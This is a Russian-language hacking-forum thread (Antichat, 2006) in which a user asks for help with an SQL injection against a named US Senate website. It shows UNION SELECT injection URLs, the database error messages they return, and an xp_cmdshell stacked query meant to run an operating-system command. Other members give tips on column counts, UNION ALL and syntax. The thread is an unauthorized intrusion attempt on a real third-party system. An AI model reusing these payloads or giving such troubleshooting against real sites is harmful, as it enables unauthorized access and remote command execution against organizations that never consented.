HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Помогите со Sql
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Помогите со Sql
  #1  
Старый 27.05.2006, 11:37
EST a1ien
Участник форума
Регистрация: 02.04.2006
Сообщений: 273
С нами: 10582516

Репутация: 114
По умолчанию Помогите со Sql
Код:
http://allard.senate.gov/public/index.cfm?FuseAction=Polls.Results&PollsPoll_id=-16+union+select+null,null,null,null--&IsPopUp=True
При таком вылетает
Цитата:
Error Executing Database Query. [Macromedia][SQLServer JDBC Driver][SQLServer]The text, ntext, or image data type cannot be selected as DISTINCT.
А при меньшем количестве столбцов вылетает
Цитата:
Error Executing Database Query. [Macromedia][SQLServer JDBC Driver][SQLServer]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists
Тоесть неподходит количестово столбцов.
В чём моя ошибка??
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 27.05.2006, 12:13
ZaCo
Banned
Регистрация: 20.06.2005
Сообщений: 880
С нами: 10994966

Репутация: 1332


По умолчанию
если я не ошибаюсь то перед вставкой твоего параметра в конечный запрос идет order by то есть нормально заюзать union select не удастся, почему о невозможности юнион кричит только в начале хз. а вообщ если вылетает аткая ошибка ставь union all select
 
Ответить с цитированием

  #3  
Старый 27.05.2006, 12:35
EST a1ien
Участник форума
Регистрация: 02.04.2006
Сообщений: 273
С нами: 10582516

Репутация: 114
По умолчанию
Да ты прав там идёт order by.
А при вот таком запросе
Код:
_http://allard.senate.gov/public/index.cfm?FuseAction=Polls.Results&PollsPoll_id=-16+union+all+select+null,null,null,null,null,null,null,null,null--&IsPopUp=True
Тоесть воспользовался union all select но пришлось увеличить количество столюцов.
Вылетает вот такая ошибка
Цитата:
ORDER BY items must appear in the select list if the statement contains a UNION operator.
Еще пробовал вот такой запрос(как я понял там стоит mssql)
Цитата:
-16;exec%20master.xp_cmdshell%20%22dir%20%3E%20test .txt%22--
Вылетело
Цитата:
Incorrect syntax near the keyword 'ORDER'.
The error occurred on line 12.
И еще узнал
По какому полю делается ордер "DateCreated".
Последний раз редактировалось EST a1ien; 27.05.2006 в 12:41..
 
Ответить с цитированием

  #4  
Старый 28.05.2006, 05:02
podkashey
Познавший АНТИЧАТ
Регистрация: 18.06.2005
Сообщений: 1,004
С нами: 10997666

Репутация: 1320


По умолчанию
Цитата:
Как ьыть дальше?
скл подучить.
юнион селект, а не селект юнион.
 
Ответить с цитированием

  #5  
Старый 28.05.2006, 22:12
Rebz
Флудер
Регистрация: 08.11.2004
Сообщений: 3,395
С нами: 11317286

Репутация: 3876


По умолчанию
Цитата:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select union null,nulll,null,null/* and lang='ru' ORDER BY id' at line 1
1) убери ковычку
2) сначала идет оператор union а затем select
3) подбери нормально количество нулей -)
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.